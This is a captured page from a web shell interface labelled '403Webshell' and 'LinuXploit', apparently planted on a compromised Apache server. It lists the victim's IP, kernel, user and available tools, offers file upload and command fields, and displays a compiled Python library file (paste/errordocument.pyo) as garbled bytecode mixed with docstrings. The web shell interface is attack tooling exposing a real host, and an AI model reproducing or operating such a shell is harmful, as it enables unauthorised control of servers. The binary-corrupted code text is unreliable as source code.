403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/paste/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/paste/errordocument.pyo
Ñò
•ÊIc
@sÑdZddkZddklZddklZlZddklZddkl	Z	d„Z
defd	„ƒYZd
efd„ƒYZ
d„Zd
dddd
gZdd„Zdefd„ƒYZdS(s
Middleware to display error documents for certain status codes

The middleware in this module can be used to intercept responses with
specified status codes and internally forward the request to an appropriate
URL where the content can be displayed to the user as an error document.
iÿÿÿÿN(turlparse(tForwardRequestExceptiontRecursiveMiddleware(t
converters(treplace_headercCs]x8|D]0}t|tƒptdt|ƒƒ‚qqWd„}tt||d|ƒƒS(sú
    Intercepts a response with a particular status code and returns the 
    content from a specified URL instead.
    
    The arguments are:
    
    ``app``
        The WSGI application or middleware chain.

    ``codes``
        A dictionary of integer status codes and the URL to be displayed
        if the response uses that code.
        
    For example, you might want to create a static file to display a 
    "File Not Found" message at the URL ``/error404.html`` and then use
    ``forward`` middleware to catch all 404 status codes and display the page
    you created. In this example ``app`` is your exisiting WSGI 
    applicaiton::

        from paste.errordocument import forward
        app = forward(app, codes={404:'/error404.html'})

    s4All status codes should be type int. %s is not validcSs!|i|ƒo	||SdSdS(N(thas_keytNone(tcodetmessagetenvirontglobal_conftcodes((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyterror_codes_mapper/s	R(t
isinstancetintt	TypeErrortreprRtStatusBasedForward(tappRRR((s7/usr/lib/python2.6/site-packages/paste/errordocument.pytforwards	tStatusKeepercBseZd„Zd„ZRS(cCs(||_||_||_||_dS(N(Rtstatusturltheaders(tselfRRRR((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyt__init__?s			cstd‡‡fd†}ˆiidƒ}|d|d<t|ƒdjo|d|d<nd|d<ˆi||ƒS(NcsmxT|D]L\}}|iƒdjoˆii||fƒqtˆi||ƒqWˆˆiˆi|ƒS(Ns
set-cookie(tlowerRtappendRR(RRtexc_infotheadertvalue(tstart_responseR(s7/usr/lib/python2.6/site-packages/paste/errordocument.pytkeep_status_start_responseFst?it	PATH_INFOitQUERY_STRINGt(RRtsplittlenR(RR	RR tparts((RRs7/usr/lib/python2.6/site-packages/paste/errordocument.pyt__call__Es
(t__name__t
__module__RR((((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyR>s	RcBs#eZdZdd„Zd„ZRS(sÑ
    Middleware that lets you test a response against a custom mapper object to
    programatically determine whether to internally forward to another URL and
    if so, which URL to forward to.
    
    If you don't need the full power of this middleware you might choose to use
    the simpler ``forward`` middleware instead.

    The arguments are:
    
    ``app``
        The WSGI application or middleware chain.
        
    ``mapper`` 
        A callable that takes a status code as the
        first parameter, a message as the second, and accepts optional environ,
        global_conf and named argments afterwards. It should return a
        URL to forward to or ``None`` if the code is not to be intercepted.

    ``global_conf``
        Optional default configuration from your config file. If ``debug`` is
        set to ``true`` a message will be written to ``wsgi.errors`` on each
        internal forward stating the URL forwarded to.
    
    ``**params`` 
        Optional, any other configuration and extra arguments you wish to 
        pass which will in turn be passed back to the custom mapper object.

    Here is an example where a ``404 File Not Found`` status response would be
    redirected to the URL ``/error?code=404&message=File%20Not%20Found``. This 
    could be useful for passing the status code and message into another 
    application to display an error document:
    
    .. code-block:: python
    
        from paste.errordocument import StatusBasedForward
        from paste.recursive import RecursiveMiddleware
        from urllib import urlencode
        
        def error_mapper(code, message, environ, global_conf, kw)
            if code in [404, 500]:
                params = urlencode({'message':message, 'code':code})
                url = '/error?'%(params)
                return url
            else:
                return None
    
        app = RecursiveMiddleware(
            StatusBasedForward(app, mapper=error_mapper),
        )

    cKsq|djo
h}n|o"ti|idtƒƒ|_n
t|_||_||_||_||_	dS(Ntdebug(
RRtasbooltgettFalseR+tapplicationtmapperR
tparams(RRR0R
R1((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyRŒs

"				cs‚g‰d‡‡‡‡fd†}ˆiˆ|ƒ}ˆo@t|dƒo|iƒn‡fd†}td|ƒ‚n|SdS(Nc
sù|idƒ}yt|dƒ}Wn3ttfj
o!tdt|dƒƒ‚nXdi|dƒ}ˆi||ˆˆiˆi	}|djp
t|tƒptdt|ƒƒ‚n|oˆi
|||gƒnˆ|||ƒSdS(Nt is@StatusBasedForward middleware received an invalid status code %sisiExpected the url to internally redirect to in the StatusBasedForward mapperto be a string or None, not %s(R%Rt
ValueErrorRt	ExceptionRtjoinR0R
R1RR
tstrR(RRRtstatus_codeRRtnew_url(RRR	R(s7/usr/lib/python2.6/site-packages/paste/errordocument.pytchange_responses*tclosec	s4t|dˆdddˆdddˆddƒS(NRiiRRi(R(R(R(s7/usr/lib/python2.6/site-packages/paste/errordocument.pytfactory¾s%R;(RR/thasattrR:R(RR	RR9tapp_iterR;((RRRR	s7/usr/lib/python2.6/site-packages/paste/errordocument.pyR(šsN(R)R*t__doc__RRR((((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyRVs4cKsvh}xZ|iƒD]L\}}yt|ƒ}Wn#tj
otd|ƒ‚nX|||<qWt||ƒ}|S(sô
    Paste Deploy entry point to create a error document wrapper. 
    
    Use like::

        [filter-app:main]
        use = egg:Paste#errordocument
        next = real-app
        500 = /lib/msg/500.html
        404 = /lib/msg/404.html
    sBad status code: %r(titemsRR3R(RR
tkwtmapRt	redir_loct	forwarder((s7/usr/lib/python2.6/site-packages/paste/errordocument.pytmake_errordocumentÅs
RRDtempty_errortmake_empty_errorcKs=tidtdƒ|djo
h}nt||||S(s6
    Deprectated; use StatusBasedForward instead.
    s_errordocuments.custom_forward has been deprecated; please use errordocuments.StatusBasedForwardiN(twarningstwarntDeprecationWarningRt_StatusBasedRedirect(RR0R
R@((s7/usr/lib/python2.6/site-packages/paste/errordocument.pytcustom_forwardès


RJcBs#eZdZdd„Zd„ZRS(s6
    Deprectated; use StatusBasedForward instead.
    cKs[tidtdƒ|djo
h}n||_||_||_||_d|_dS(Nseerrordocuments._StatusBasedRedirect has been deprecated; please use errordocuments.StatusBasedForwardisâ
            <html>
            <head>
            <title>Error %(code)s</title>
            </html>
            <body>
            <h1>Error %(code)s</h1>
            <p>%(message)s</p>
            <hr>
            <p>
                Additionally an error occurred trying to produce an 
                error document.  A description of the error was logged
                to <tt>wsgi.errors</tt>.
            </p>
            </body>
            </html>                
        (	RGRHRIRR/R0R
R@tfallback_template(RRR0R
R@((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyRøs


				c
sg‰g‰y4d‡‡‡‡‡fd†}ˆiˆ|ƒ}Wnœy&ddk}t|iƒdƒ}Wn
d}nXyˆd\}}Wndd}}nXˆdidt|ƒƒˆih|d6|d	6gSXˆo'ˆd‰h}	xIˆiƒD];\}
}|
d
jotˆƒd|	d
<q||	|
<qWdt	fd
„ƒY‰d‡‡fd†}ˆd}
|
i
}||
_
y|
ˆ|	ƒ}Wn]ˆj
oQ}ˆd\}}ˆdidtˆdƒƒˆih|d6|d	6gSX||
_
|Sn|SdS(Nc
sd}|idƒ}yt|dƒ}Wn/tj
o#}tdt|dƒƒ‚nXdi|dƒ}ˆi||ˆˆiˆi	ƒ}|djp
t
|tƒp|dt|ƒƒ‚n|oˆi|ƒnˆi||gƒˆ|||ƒS(NR2isB_StatusBasedRedirect middleware received an invalid status code %sisqExpected the url to internally redirect to in the _StatusBasedRedirect error_mapperto be a string or None, not %s(
RR%RR3R4RR5R0R
R@R
R6R(RRRR8R'RRR(tcode_messageRRR	R(s7/usr/lib/python2.6/site-packages/paste/errordocument.pyR9s.iÿÿÿÿiR$iswsgi.errorssBError occurred in _StatusBasedRedirect intercepting the response: RRR#itInvalidForwardcBseZRS((R)R*(((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyRNQscs)|d djoˆdˆƒ‚ndS(sŠ
                    We don't want start_response to do anything since it
                    has already been called
                    it200slThe URL %s to internally forward to in order to create an error document did not return a '200' status code.N((RRR(turl_RN(s7/usr/lib/python2.6/site-packages/paste/errordocument.pyteat_start_responseSsspaste.recursive.forwards?Error occurred in _StatusBasedRedirect redirecting to new URL: (RR/tsysR6RtwriteRLR?RR4R(RR	RR9R=RRterrorRRtnew_environtktvRQRtold_start_responsete((RRRNRMRPRR	s7/usr/lib/python2.6/site-packages/paste/errordocument.pyR(s\





		
		N(R)R*R>RRR((((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyRJôs(R>RGRtpaste.recursiveRRt
paste.utilRtpaste.responseRRtobjectRRRDt
__pudge_all__RRKRJ(((s7/usr/lib/python2.6/site-packages/paste/errordocument.pyt<module>
s 	,o		

Youez - 2016 - github.com/yon3zu
LinuXploit